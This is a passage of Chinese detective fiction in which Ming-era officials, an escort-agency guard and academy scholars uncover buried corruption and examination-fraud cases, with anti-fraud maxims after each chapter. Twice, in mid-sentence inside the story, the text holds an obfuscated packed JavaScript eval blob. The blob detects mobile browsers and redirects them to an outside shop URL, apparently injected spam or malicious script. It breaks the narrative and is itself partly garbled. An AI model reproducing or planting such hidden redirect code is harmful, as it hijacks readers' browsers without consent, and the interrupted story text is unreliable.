“法者，水也，可载舟，可覆舟。刑者，火也，可烹鲜，可焚林。司刑者当如临深潭，如履薄冰。” 窗外，长安城华灯初上。西市喧嚣依旧，今夜又有多少骗局正在酝酿？他不知道。他只知，自己守的不仅是法，更是这满城百姓，在诡诈世道里最后一点安稳的梦。 尾声防诈三诀 （大理寺榜文，遍贴一百零八坊） 一辨物：凡街头所谓“仙术”“奇药”，先索微末，以水火试之。金畏汞，银畏硫，药有异气者必诈。 二观人：遇多人哄闹，必有蹊跷。凡做局者，眼神交错，手足有暗号。切记：真热闹众人散看，假热闹聚而不散。 三守心：不贪十倍之利，不慕顷刻之功。长安居，大不易，凡轻易得财者，非骗即盗。遇事三思，思后必查，查实方行。 附：市井常见骗术 1. 掉包计：以砖石换金银，多在兑换铺前 2. 苦肉计：假称急病借钱，专骗妇孺 3. 神仙局：假道士、假尼姑售符水 4. 连环套：先予小利，后骗大财 5. 局中局：谎称中奖，索要“喜钱” 大理寺谕：凡百姓遇诈，速报坊正。知情不报，与犯同罪；举报得实，赏钱五百。 7. 镖旗暗语谳 楔子雨夜驿道 弘治十二年秋，河南道连下七日淫雨。第九日酉时三刻，洛阳福威镖局趟子手王栓子，在邙山北坡土地庙檐下避雨时，踩塌了一块朽木踏板——踏板下压着三具尸首。 尸首皆着青色公服，腰悬刑部勘合牌。验尸的洛阳县仵作老宋，在油灯下抖了半时辰，终于从第三具尸体的护心镜夹层里，抠出一片浸透血渍的桑皮纸。纸上以钟王小楷，密密麻麻录着二十七桩案子，每桩后头都跟着串古怪数字： “成化二十三年开封库银案叁伍柒陆玖” “弘治三年归德灭门案贰捌壹肆陆” “弘治十年汝宁河道贪墨案柒伍叁玖贰” …… 最后一桩墨迹最新： “弘治十二年洛阳童试舞弊案陆玖贰柒壹” 纸尾有刑部河南清吏司的暗记：一枚朱砂画的獬豸，左角断了一截。 一、 镖旗暗码 十月初三，洛阳府衙二堂。 知府陈文运盯着那片桑皮纸，指尖在“陆玖贰柒壹”上敲了第三遍。他年过五旬，瘦得像副衣架子，绯袍穿在身上空空荡荡。堂下站着两人：左边是刑部主事赵文华，三十出头，国字脸；右边是个女子，二十三四岁模样，青布箭袖，腰束牛皮鞶带，背插一对判官笔——正是福威镖局镖师林红玉。 “林镖头，”陈知府抬起眼皮，“听说福威镖局走镖，有一套‘花旗暗语’？” 红玉抱拳：“回大人，是。东南西北四路镖旗，旗角穗子结法不同，表‘平安’‘有险’‘折人’‘失货’。但这是镖行保密的切口…” “本府知道规矩。”陈知府从袖中取出一面三角镖旗，旗是褪色的靛蓝土布，边缘绣着福威镖局的暗纹，“这是在土地庙二十步外捡到的。旗角穗子结了三个连环扣——在贵局暗语里，是什么意思？” 红玉脸色微变。她接过镖旗，就着窗光细看穗子：三股红绳编成麻花，在末端打了个极复杂的“三环套月”。这是福威镖局最高级别的警示暗号，非总镖头亲传弟子不识。 “这是…”她声音发干，“‘有内鬼，速毁货’。” 堂中死寂。秋阳从万字棂窗斜射进来，照得尘埃乱舞。赵文华忽然开口：“林镖头可认得这字迹？” 他递过一张公文。红玉接过，只扫一眼便怔住——这是洛阳童试舞弊案的结案详文，落款处签押的名字是：洛阳府刑房书吏周文启。 而桑皮纸上那二十七串数字的最后一行，正是“童试舞弊案”！ “周文启…”红玉喃喃道，“三日前，就是他雇镖局护送一批‘古籍’进京…” “古籍现在何处？”陈知府急问。 “在镖局地窖。”红玉抬头，“但按暗语所示，这批货该立即销毁。” “不可！”赵文华拍案而起，“这二十七桩案子涉及三任布政使、五名知府，若真是案卷，便是捅破天的证据！” 陈知府却盯着红玉：“镖局既接暗镖，必有收镖人标识。那批古籍上，可有什么记号？” 红玉沉吟片刻：“古籍共二十七函，每函以天干地支编号。但有一处古怪——所有函套的骑缝章，印文都是‘慎独’二字。” “慎独…”赵文华蹙眉，“这是心学门人的常用印。难道收镖人是…” 话未说完，门外传来急促脚步声。捕头闯进来，脸白如纸：“大人！福威镖局…走水了！” 二、 灰烬余函 镖局火场余烟未散，地窖入口已被烧塌的梁柱封死。红玉引众人从后巷小门潜入，在焦臭弥漫的甬道里走了三十余步，眼前豁然开朗——这是间以青石砌成的密室，四壁书架焦黑，但正中一张花岗岩方桌完好无损。桌上整整齐齐码着二十七函书籍，函套犹存。 赵文华疾步上前，抽出首函。函内并非古籍，而是装订成册的案卷副本，首页朱批赫然： “成化二十三年八月十五，开封府库失银九万两。经查，实为布政使张文焕以‘修河工’为名，分七次提空…” 他手一抖，册子落地。陈知府俯身拾起，一页页翻过，越翻越慢，最后跌坐石凳上，喃喃道：“二十七桩…二十七桩啊…” 红玉却蹲身查看桌底。青砖地上有数道新鲜拖痕，痕里沾着种黄褐色粉末。她以指甲刮取少许，凑近鼻端一嗅，脸色骤变：“是硫磺硝石混了砂糖——这是火流星的火药配方！” 话音未落，密室外传来机括转动声。一道铁栅轰然落下，封死来路。几乎同时，四壁书架背后响起“嗤嗤”燃烧声，刺鼻烟雾从板缝涌出。 “中计了！”赵文华撞向铁栅，栅栏纹丝不动。 红玉却扑向石桌。她双手按住桌面边缘，逆时针猛力一旋——桌下传来齿轮咬合的“咔嗒”声，整张石桌缓缓下沉，露出个黑漆漆的洞口。洞内有风涌上，带着泥土腥气。 “这是镖局先祖挖的逃生道，”红玉急道，“快下！” 三人刚坠入地道，头顶便传来爆炸闷响。气浪卷着碎石砸下，红玉反手甩出判官笔，“当当”两声击飞落石。她在黑暗中摸索前行，指尖触到壁上的刻痕——是福威镖局的路线暗标。 走了一炷香功夫，前方透来微光。出口竟是邙山脚下一座荒废的砖窑。三人钻出窑口，秋夜寒星满天。回头望去，洛阳城方向火光冲天，映红半边夜空。 赵文华忽然道：“那二十七函案卷…” “在这。”红玉从怀中取出个油布包裹。她方才旋动石桌时，已眼疾手快抽出最关键的第三函——正是“童试舞弊案”全卷。 陈知府借着星光翻开，首页便见周文启的批注：“童试考官收贿实录”，下列十七人姓名，个个都是洛阳有头脸的乡绅。但真正让他倒吸冷气的，是页边一行蝇头小楷： “此案关窍，在‘陆玖贰柒壹’。此非数目，乃镖局‘花旗码’——陆为南，玖为白，贰为双，柒为青，壹为单。合为：南门外白家老店，双青旗，单日接头。” 红玉失声：“这是我镖局与官府的紧急联络暗号！” “也就是说，”赵文华目光如炬，“周文启早知道案卷会经镖局转运。他在临死前，以密码留下接头地点…” “但他没料到，”陈知府合上册子，“镖局有内鬼，提前截杀了他们三人。” 夜风骤急，吹得荒草起伏如浪。远处洛阳城的大火渐熄，唯余一缕青烟，袅袅升向银河。 三、 白店双旗 十月十四，单日。 南门外白家老店是间车马店，前院拴着十几头骡子，空气里弥漫着草料和牲口粪便的混合气味。红玉扮作贩绸客商，包了东厢最里的房间。她从窗缝望出去，见店门前果然悬着两面青色镖旗——旗是寻常棉布，但旗杆顶各套了个黄铜环，阳光下一闪。 未时二刻，有客进店。是个五十来岁的矮胖男子，着沉香色直裰，头戴方巾，手里捧着个紫砂壶，走三步啜一口茶。他在柜台前与掌柜闲聊片刻，要了西厢房，正对红玉的窗户。 红玉等了半个时辰。申时初，矮胖男子推开窗，将紫砂壶摆在窗台上，壶嘴朝东。这是镖局暗语“平安，可接货”。 她正要起身，眼角余光忽瞥见对面房顶——一片灰瓦微微翘起，露出半张人脸！那人蒙着面，但额角有道疤，形状如蜈蚣。 红玉心念电转，从行囊中取出面小铜镜，借夕阳反光，朝对面屋顶晃了三下。这是镖局警示“有伏”。 矮胖男子显然也是行家，见状不动声色，提起茶壶佯装续水，壶嘴却悄悄转向了西——变为“有险，勿动”。 就在这时，客栈前院传来马嘶。三骑疾驰而入，马上人皆着麒麟服，腰佩绣春刀。为首的是个白面无须的中年人，嗓音尖细：“锦衣卫北镇抚司办差，闲人退避！” 店内顿时鸦雀无声。矮胖男子脸色煞白，手中茶壶“啪”地落地。对面房顶的蒙面人却动了——他如大鸟般扑下，手中□□直刺锦衣卫首领后心！ “叮”的一声，□□被斜刺里飞来的判官笔架开。红玉已跃出窗外，双笔如蛟龙出海，与蒙面人战在一处。那蒙面人武功奇诡，□□时柔时刚，枪头缀着的铁蒺藜专打穴道。拆到第七招，红玉忽使出一式“玉女穿梭”，判官笔虚点面门，实则下扫下盘。蒙面人急退，面巾被笔风带落—— 赫然是福威镖局洛阳分号的大掌柜，钱老四！ “果然是你…”红玉咬牙，“三环套月穗子，是你结的？” 钱老四狞笑：“红玉侄女，有些镖不该接，有些人不能惹。”他忽然吹了声呼哨，客栈内外骤然涌出二十余人，皆持强弓硬弩，箭镞在夕阳下泛着蓝光——喂了毒！ 锦衣卫首领冷笑：“好大的阵仗。”他缓缓抬手，身后骑士同时掣出个黑铁圆筒。简口对准屋顶时，钱老四瞳孔骤缩：“神机营的火雷箭…撤！” 但已迟了。弓弦震响，箭如飞蝗。然而射向的不是锦衣卫，而是钱老四的手下！惨叫声中，七八人中箭倒地。红玉这才看清，放箭的竟是客栈掌柜、伙计、乃至那矮胖男子——他们袖中皆藏着弩机！ 锦衣卫首领踱到钱老四面前，脚尖挑起他下巴：“谁指使你截杀周文启？” 钱老四啐出口血沫：“你们锦衣卫…不也想要那批案卷？” “我们要的是人。”首领蹲下身，声音压得极低，“二十七桩案子，牵扯多少人，你清楚。但有人比我们更急——那批案卷的原件，早在三个月前就进了京，现在恐怕已在司礼监的架阁库了。” 红玉如遭雷击。她猛然想起护送“古籍”那日，周文启亲手将二十七只樟木箱抬上镖车。但如果案卷原件早已进京，那这些“古籍”… “是诱饵。”赵文华的声音从身后传来。他与陈知府不知何时已赶到，站在客栈月门下，脸色凝重：“周文启以身为饵，用二十七箱假案卷，钓出所有想毁案的人。” 钱老四忽然大笑，笑出泪来：“周文启…好个周文启！他早知道刑部、锦衣卫、甚至司礼监都有人涉案…所以他布了这个局，让所有魑魅魍魉自曝其形…” 笑声戛然而止。他嘴角渗出黑血，头一歪，气绝身亡——齿中藏了毒囊。 锦衣卫首领起身，掸了掸袍角：“林镖头，赵主事，陈知府。此案已由北镇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088159|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抚司接管，三位可以回了。” “那真案卷…”陈知府急问。 “该在时，自会在。”首领翻身上马，忽然回头，“对了，周文启临死前，托我带句话给林镖头。” 红玉抬头。 “他说：‘多谢福威镖局，这局棋，终是没白下。’” 马蹄声远，暮色四合。白家老店院内，只余二十余具尸首，和满地狼藉的箭矢。 四、 棋局真相 三日后，洛阳府衙。 陈知府将一纸调令推给赵文华：“升任浙江按察司佥事，即日赴任。” 赵文华默然良久：“那二十七桩案子…” “锦衣卫接手，便是永封。”陈知府望向窗外，“但你我在洛阳任上，总算可保三年太平——经此一役，那些人该收敛了。” 红玉立在堂下，手中摩挲着那面三环套月的镖旗。她忽然道：“周文启以命设局，难道就为‘敲山震虎’？” “不止。”陈知府从抽屉中取出一封信，“今早到的，刑部加急。” 信是周文启绝笔，写于死前三日： “…自知此行必死，然二十七案罪证，已于去岁腊月密呈通政司。之所以再设此局，实为三事：一验刑部谁清谁浊，二探锦衣卫是否涉案，三查河南官场尚余几分正气。今观之，刑部赵主事清廉，锦衣卫虽揽权未贪赃，陈知府虽圆滑存底线。此局便不算输。 “至若镖局暗语、密码传讯，皆掩人耳目耳。真案卷早抵京师，假案卷专钓奸邪。唯一未料者，是福威镖局内鬼竟是大掌柜——此吾之过，当以死谢罪。 “然棋既下完，诸君当知：大明刑律如网，网眼可疏，纲绳不可断。但使有一二愚公愿移山，有一二精卫敢填海，这世道便还值得救。” 信末无署名，只画了枚断角獬豸，与桑皮纸上的暗记一模一样。 红玉看完，将信轻轻放回案上。她想起周文启雇镖那日，是个阴天。这个清瘦的书吏站在镖局旗杆下，仰头看了许久飘扬的镖旗，忽然说：“林镖头，你说咱们这些人，像不像这旗？” “怎么说？” “看着迎风招展，风光得很。其实旗往哪边飘，全看风往哪边吹。”他笑了笑，“但旗杆立在地上，杆不倒，旗就永远在。” 她当时不懂。现在好像懂了。 尾声暗语新解 十月末，红玉辞了镖局差事，在洛阳城南开了间武馆。开馆那日，赵文华已赴浙江，陈知府差人送来块匾，上书“正气堂”三字。 匾下压着封信，是陈知府手书： “红玉姑娘：周文启临终密码‘陆玖贰柒壹’，除镖局暗语外，另有一解。陆玖为十五，贰柒为十四，壹为一。合为《大明律》卷十五、条十四、第一款：‘凡官吏受财，枉法者，计赃科断。’此乃周君毕生信奉之物，赠君共勉。 “又及，白家老店一战，锦衣卫所擒活口中，有一人招供：京中某权贵曾言‘二十七案若发，当效洪武年空印案故事’。此语骇人听闻，然足证周君以命相搏，所救非止二十七案，实是千万黎庶。 “今赠君《折狱龟鉴》一部，中有批注乃周君手迹。愿君传此薪火，使世间多几个听懂血渍说话之人。” 红玉翻开书，见扉页有行朱批： “折狱之道，不在智巧，在敢从血污中，辨认那颗尚未冷透的良心。” 窗外秋风又起，吹得武馆檐下新悬的镖旗猎猎作响。旗是靛蓝色，旗角穗子结了最简单的平安扣。 但这次，旗杆深深埋进土里，埋了三尺。 本章防诈要诀 一、 密码双关之诈 - 犯案者常以行业暗语、诗文藏头、数字代号传递密讯 - 破解法：凡见非常规数字组合，先查行业切口，再对典籍页码，三核时令方位 - 示例：镖局“陆玖”指南与白，而《大明律》“陆玖”指卷十五条九 二、 连环诱饵之诈 - 以假案卷钓真凶，以假交易诱内鬼 - 破解法：凡过于“恰好”的线索，多是设局 - 示例：二十七箱案卷完整无缺，反露破绽 三、 死间传信之诈 - 利用死者遗物、尸体藏密、绝笔书信传递真讯 - 破解法：验尸要查九窍，文书要验骑缝，遗物要破夹层 - 示例：护心镜夹层、茶壶朝向、旗穗结法皆可为信 大明律补充： 《刑律·诈伪》“凡诈为传书，以求财赏者，杖一百”；“若因而坏事者，加等”。暗语密码若用于作奸犯科，罪加二等。 市井防骗口诀： 真传讯，简而隐；假传讯，繁而显。 真密码，合行规；假密码，乱套用。 真死者，留一线；假死讯，布满天。 正是： 邙山夜雨湿勘牌，血渍桑皮字字哀。 镖旗暗结三环扣，案卷明藏廿七灾。 白店弓惊伏虎胆，青囊火照曝尸台。 谁言蝼蚁难移岳，终有精卫填海来。 8. 白鹿禁谳 楔子经阁失人 白鹿书院经阁的《礼记正义》少了一卷。这事本寻常——书院三百学子，谁不曾借书逾期？可怪就怪在，丢书那日，借书册上登记的姓名是：已故三年的监院陈静山。 现任监院陆文渊捏着发黄的借书册，指尖在“陈静山”三字上摩出深印。窗外春雪压竹，他想起三年前那个暮春——也是这般天气，陈静山从经阁顶层坠下，落地时怀里还抱着刚修纂完的《白鹿书院志》。官府定案“失足”，书院却传言，陈监院是校勘旧志时，发现了不该发现的东西。 “陆监院。”司库书吏凑近低语，“更怪的是…今早洒扫阁楼的杂役说，三层西窗的窗纸，破了个洞。” “什么洞？” “人形大小的洞。”书吏比划，“像是…有人从窗内撞出去的。可窗外是悬崖啊！” 陆文渊披氅往经阁去。三层西窗果然破着大洞，冷风灌入，吹得满架书页哗哗作响。他俯身细看窗棂，断裂处木茬新鲜，但边缘沾着些暗红碎屑——不是血，倒像朱砂混了胶。以指甲刮下些许嗅闻，有极淡的沉香味。 “昨夜谁当值？” “是…是林墨卿。”书吏声音发颤，“可今早点名，他也没到。” 林墨卿。陆文渊心头一紧。这学子他记得，青州来的寒门子，去年岁考得乙等第三，文章写得峭拔，只是性子孤僻，总独来独往。有同窗说，常见他在后山梅林，对着棵老梅树自言自语。 “搜。”陆文渊转身，“经阁、斋舍、后山，活要见人，死…” 他顿住。窗外悬崖下，云海翻涌。若真有人从此处坠下，尸骨该在哪儿？ 一、 梅林墨迹 后山梅林的雪积了半尺。陆文渊带着两个斋长沿小径搜寻，在林中空地那棵百年老梅下，发现了蹊跷——树根处积雪被扫开一片，露出冻土。土上以树枝划着行字： “经在彼阁，人在彼渊。欲寻真相，先破纸窗。” 字迹潦草，但笔画走势，陆文渊认得。三年前陈静山修纂书院志时，常请他批阅草稿，末尾署名便是这般运笔——带钩的竖，拖尾的捺。 “是陈监院的笔迹！”年轻斋长失声。 “不可能。”年长的斋长摇头，“陈监院葬在书院墓园，我亲眼见封的棺。” 陆文渊不答。他蹲身细看冻土，见字痕边缘有细微刮擦——写字人手指冻僵了，树枝多次打滑。而且…他凑近嗅了嗅，土里混着极淡的松烟墨香，是书院特供的“青麟墨”，只供教谕以上使用。 “昨夜有人来过。”陆文渊起身，“墨迹未冻实，不会超过三个时辰。” 正说着，林中忽传来“咔嚓”脆响。三人霍然回头，见十步外梅枝晃动，雪簌簌落下。奔过去看，雪地里留着串足迹，深一脚浅一脚，通往后山断崖。 足迹在崖边消失。崖下云雾弥漫，隐约可见谷底有条冰溪，蜿蜒如白练。陆文渊目测高度，摇头：“从此处坠下，十死无生。” “监院快看！”年轻斋长指着崖边一丛枯草。草叶上挂着片碎布，靛蓝色，是书院学子的标准襕衫。布片边缘染着暗红，与经阁窗棂上的朱砂胶如出一辙。 陆文渊拈起布片，对着天光细看。布料经纬间，粘着几点晶莹——是冰糖碎屑。 书院规矩，除年节外严禁学子私藏糖食。唯有一人例外：厨下专做点心的老许，因幼时家贫嗜甜，总在怀里揣块冰糖，干活累了便舔一口。 “去庖厨。”陆文渊转身，“找老许。” 二、 庖厨暗格 庖厨在后院东侧，三进土屋，终日蒸汽缭绕。老许正在揉面，见监院来，忙在围裙上擦手：“监院怎亲临污秽地？” 陆文渊亮出布片：“这料子，你可见过？” 老许眯眼看了半晌，摇头。陆文渊却盯着他围裙下摆——那里沾着点靛蓝颜料，与布片颜色一致。 “昨夜可有人来庖厨？” “没、没有。”老许眼神躲闪，“小人亥时便锁门睡了。” “是吗？”陆文渊径自走向灶后。那里堆着柴垛，他俯身拨开几根木柴，露出后面砖墙。墙上两块砖颜色略新，以手叩之，回声空闷。 “打开。” 老许脸煞白，抖着手抽出那两块砖。墙内是个尺许见方的暗格，格中堆着：几卷手抄经书、一包冰糖、半截青麟墨锭，还有本蓝布面册子。 陆文渊取出册子。封皮无字，翻开，内页以工楷抄录着历年科场试题，每题下附数篇范文，笔迹各异。但细看，这些范文的破题、承题、起讲，竟有七八分相似——像是一人代笔，故意变换字迹。 “这是…”年轻斋长倒吸凉气，“科场关节册！” 科举防弊，严禁学子私藏历年范文，更禁揣摩考官喜好。此册若流出，足让册主流放三千里。 老许“扑通”跪倒：“监院明鉴！这、这不是小人的！是…是林墨卿寄存的！” “林墨卿？”陆文渊翻到册末，见最后一行小字：“癸卯冬，墨卿录于听雪斋。”听雪斋，正是林墨卿的斋舍。 “他为何把此物存你这儿？” “他说…”老许涕泪横流，“他说近日有人要害他，此册是他保命之物。若他三日内不来取，便让小人交给…交给陈静山监院。” “交给死人？” “小人当时也这么说！可他道，陈监院根本没死，只是…只是藏起来了。” 庖厨死寂，唯闻灶膛余薪噼啪。陆文渊盯着那册关节文，忽问：“林墨卿平日，与谁交好？” 老许犹豫片刻：“他独来独往，只与…只与经阁司书柳文若走得近些。常见二人夜间在经阁校书，三更方散。” 柳文若。陆文渊记得这青年，苏州人，父亲是府学教谕，去岁荐入书院司理经籍。为人温吞少言，但校书极精，据说能辨宋版元刻之微差。 “去经阁。”陆文渊卷起关节册，“找柳文若。” 三、 经阁夜校 经阁夜校的规矩：戌时闭阁，留一司书当值，校勘白日学子借还之书。今夜当值的正是柳文若。 陆文渊推门而入时，柳文若正就着油灯比对两卷《毛诗正义》。见监院来，他从容起身揖礼，袖口沾着点点墨污。 “林墨卿失踪了。”陆文渊开门见山。 柳文若眼神微动，旋即平静：“学生昨日见过他。他说…要校一卷《仪礼注疏》，在阁中待到亥时方去。” “去了何处？” “学生不知。”柳文若指向西窗，“他走时，窗纸尚好。” 陆文渊走近西窗。破洞边缘，窗纸断茬整齐，确是从内向外冲破。但怪的是，窗外檐瓦上积雪平整，并无坠落痕迹。 “若有人从此窗坠下，”陆文渊转头，“该有痕迹才是。” 柳文若沉默片刻，忽然道：“监院可曾想过，或许无人坠下。” “何意？” “窗纸可自内破，亦可自外破。”柳文若走至窗边，以手比划，“若有人在外，以竿捅破窗纸，再抛入染朱砂的布片、碎墨锭，伪造撞窗痕迹…”他顿了顿，“至于足迹，后山雪地，一双特制木屐便可留下深浅不一的脚印。” 陆文渊盯着他：“你为何想到这些？” 柳文若垂目：“学生好读宋人笔记，曾见《癸辛杂识》载类似案例。且…”他抬眼，“林墨卿三日前，曾与学生说，他发现书院有人私贩科场关节文，欲告发，却恐遭灭口。” “关节文在庖厨暗格。”陆文渊亮出蓝册，“可是此物？” 柳文若接过，只翻三页便变色：“这…这是陈监院三年前编纂书院志时，发现的禁册！当时他欲上报学政，却突然‘失足’…” “你如何知晓？” “因这册中范文，”柳文若翻到某页，指尖颤抖，“这篇‘民为贵论’，是学生父亲当年乡试的考卷！父亲因此文中举，可三年前，陈监院却拿着此卷草稿来问，说在旧档中发现，此卷笔迹与父亲科场原卷不同——是被人替换过的！” 油灯“啪”地爆了个灯花。陆文渊缓缓坐下：“所以，陈静山不是失足，是被人灭口。而林墨卿发现了关节册与陈静山之死的关联，故布疑阵，假作失踪…” “实为暗中查证。”柳文若接口，“他昨夜确在经阁，但亥时前便从正门离去。学生亲眼见他往…往书院墓园方向去。” 墓园。陈静山埋骨之处。 陆文渊霍然起身。行至门边，忽回头：“柳司书，你与林墨卿，究竟是何交情？” 柳文若身形微僵。良久，低声道：“知音。” 二字千钧。在书院，这词有特殊含义——源于《诗经》“知我者谓我心忧”，暗指超乎寻常的默契。三年前有对学子因“知音”过从甚密，被学政以“有伤风化”除名，从此这词成了禁忌。 陆文渊深深看他一眼，推门没入夜色。 四、 墓园双碑 书院墓园在后山北麓，葬着历代山长、监院、有名望的学子。陈静山的坟在东南角，碑是新立的，刻“白鹿书院监院陈公静山之墓”。碑前供着盘干瘪的柑橘，橘皮已发黑。 陆文渊举灯照碑，见碑座有处异样——青苔被蹭掉一片，露出新鲜土痕。他俯身以手探查，发现碑座与地面衔接处，有道半指宽的缝隙。 “来人，撬开。” 两个斋长以铁钎插入缝隙，用力一扳。碑座“嘎吱”移位，露出下方黑洞。洞中涌出陈腐气息，混着…墨香。 陆文渊缒灯而下。洞不深，丈许见方，四壁以青砖砌就，是个简陋墓室。正中无棺，只一方案，案上整齐叠着：三年前失窃的《礼记正义》缺卷、陈静山编纂未竟的书院志草稿、数十封往来书信，以及…两套叠放整齐的襕衫。 衫是学子制式，但针脚明显改过——腰身收窄，袖口绣了暗纹。一套靛蓝，一套月白。月白那套袖中，塞着张薛涛笺，上书： “与君校书经阁，如对明月。世人不容此心，便教此心葬于此穴。他年若有人掘碑见衫，当知世间曾有知音，不负诗书。” 笺末无署名，只钤了方小印：“听雪斋墨卿”“经阁文若”。 年轻斋长颤声道：“这、这是…” “是衣冠冢。”陆文渊轻抚那月白衣衫，“为不见容于世的知音之情，立的衣冠冢。” 他翻看那些书信，多是诗词唱和，其间夹杂着科场关节案的线索——原来三年前，陈静山校勘旧志时，发现书院某位现任教谕，二十年前曾参与科场舞弊，以替考、换卷等手段助权贵子弟中举。此人如今身居高位，恐事泄，遂设计灭口。 而林墨卿与柳文若，在整理陈静山遗物时，发现了这些证据。为防打草惊蛇，林墨卿假造失踪，暗中查证；柳文若留在明处，引导监院发现真相。 “可林墨卿现在何处？”年长斋长问。 话音未落，墓室外传来人声：“学生在此。” 灯光映出个清瘦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088160|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身影，正是林墨卿。他面容憔悴，但眼神清亮，怀中抱着卷画轴。 “监院，”他跪地，“学生擅离书院，假造踪迹，甘受责罚。但请先看此物——” 画轴展开，是幅《白鹿书院全图》。但细看，图中建筑方位与现今有异：经阁在西而非东，墓园在南不在北。图边小注：“嘉靖七年改建前旧貌”。 “此图是陈监院在故纸堆中发现。”林墨卿指向图中墓园位置，“按旧图，此处本是书院初建时的‘藏拙斋’，专藏未竟书稿、禁毁典籍。三年前改建墓园时，工匠曾挖出个地窖，内藏大批科场旧档。当时监工的，正是…当今掌院学士，周道明。” 周道明。陆文渊心头一震。此人现任礼部侍郎，兼领白鹿书院掌院，正是二十年前那场科考的主考官之一！ “所以，陈监院之死…” “是周学士灭口。”林墨卿叩首，“学生与文若已收集全部证据，藏于后山石洞。只待监院上报学政，便可平反冤案，肃清科场积弊。” 陆文渊扶起他，良久长叹：“你可知，此举会毁了多少人前程？周道明门生故旧遍朝野，一旦案发，牵连者众。” “学生知道。”林墨卿抬眼，目光如雪，“但陈监院临终前，在书院志稿末页写下一句话：‘书院之贵，不在出多少进士，在养多少真人。’若今日我辈畏权贵而缄口，白鹿书院三百年清誉，便真成纸糊窗花了。” 墓室死寂。油灯将众人影子投在砖壁，晃动如鬼魅。 许久，陆文渊缓缓卷起画轴：“此事，我来办。你二人…今夜便离开书院。” “监院？” “周道明耳目众多，你二人留下必遭毒手。”陆文渊自怀中取出个布囊，内装银两路引，“去江南，找个书院教书。此生莫再回京，莫再应考。” 林墨卿与悄然赶来的柳文若对视，双双跪倒，三叩首。 起身时，柳文若轻声道：“那…这衣冠冢？” “留着。”陆文渊看向那两套襕衫，“让后来人知道，这书院底下，不只埋着尸骨，还埋着些…冻不死的真心。” 尾声纸窗新糊 三日后，经阁西窗糊上了新纸。陆文渊亲自动手，熬浆、裁纸、刷糊，动作一丝不苟。糊完对光检查，纸面平整如镜，映出窗外苍山积雪。 年轻斋长在旁欲言又止。陆文渊不回头，只道：“想问便问。” “监院，那案子…” “已结案了。”陆文渊净手，“林墨卿私藏禁书，畏惧责罚，夜遁离院。庖厨老许私贩糖食，革职逐出。经阁司书柳文若监管不力，罚俸三月。” “可周学士…” “昨夜递的折子，今晨宫中批回了。”陆文渊展开张公文，朱批赫然：“着礼部侍郎周道明致仕荣养，科场旧案概不追究。白鹿书院监院陆文渊，迁国子监司业，开春赴任。” 斋长怔住：“这…这便完了？” “不完又如何？”陆文渊望向窗外，“难道真要掀翻二十年的科场，让千百进士落马，让朝堂半壁倾颓？”他轻抚新糊的窗纸，“有些事，就像这纸窗。破了，糊上便是。非要追究谁捅破的，追究纸为何薄…这窗，便永远糊不上了。” “那陈监院的冤…” “陈静山重修书院志，是为存真。我若强求‘真相’而毁书院，才是负他初心。”陆文渊转身，“去，把墓园那碑复位。供盘换上新橘。” “那衣冠冢…” “留着。”陆文渊行至门边，顿了顿，“每年清明，记得烧卷《礼记正义》。” 他推门离去。经阁重归寂静，唯新糊的窗纸透进天光，在青砖地上印出方方正正的亮斑，像极了科场号舍的窗。 窗外，有学子经过，朗朗诵读声随风飘入： “《诗》云：‘知我者谓我心忧，不知我者谓我何求。’悠悠苍天，此何人哉？” 诵读声渐远。经阁三层西窗下，那盆枯死的文竹，竟从根底冒出点新绿。 本章鉴诫 一、 纸窗迷踪之诈 - 伪造现场时，惯用“破窗”“留痕”等手段转移视线 - 破解法：凡见非常规痕迹，先思是否“过巧”，再查痕迹材质、时序 - 示例：朱砂胶伪血、特制木屐留足印、窗外捅破窗纸 二、 故纸陷阱之诈 - 以陈年旧案、故人遗物为饵，诱人深入 - 破解法：查旧案必核原始档，验遗物须辨保存痕 - 示例：关节册墨色新旧、墓室信件纸张质地 三、 知音禁忌之诈 - 利用人情软肋，制造“不可言说”的压力 - 破解法：凡遇“不可说”之事，往往是要害所在 - 示例：衣冠冢、薛涛笺、改制的襕衫 书院规诫： 《白鹿学规》“凡私藏科场范文者，削籍；凡伪造踪迹欺瞒师长者，杖革；凡同窗过从失度者，察实共黜。”然规是规，人是人。 学子惕语： 纸窗易破难糊，人心易污难涤。 故纸堆里藏剑，知音二字带血。 莫道书院清净地，窗纸后头风雨急。 正是： 经阁灯昏旧卷残，梅林雪迹指虚棺。 纸窗破处风窥秘，墓穴深时墨未干。 衣冠冢葬知音泪，关节文牵仕路寒。 莫问真人何处去，一山明月照空坛。 9. 铁甲虎符谳 楔子军演练血 天启七年秋，镇北军大演练兵。按例，左中右三军当在狼山峪轮转布阵，可右军前锋营的五百人，却在子时失了踪迹。 镇北将军岳擎苍得报时正在校场点将，闻言掷令箭于地：“右军统领何在？” “右军统领赵镇恶…昨夜携虎符巡营，至今未归。”中军司马声音发颤。 岳将军脸色铁青。虎符是调兵信物，分左右两半，左在将府，右在军营，合符方可发兵。赵镇恶掌右符，他掌左符，如今右符失踪，等于镇北军一半兵马成了无主之军。 “搜山！”岳擎苍披甲上马，“活要见人，死要见尸！” 一、 狼山疑踪 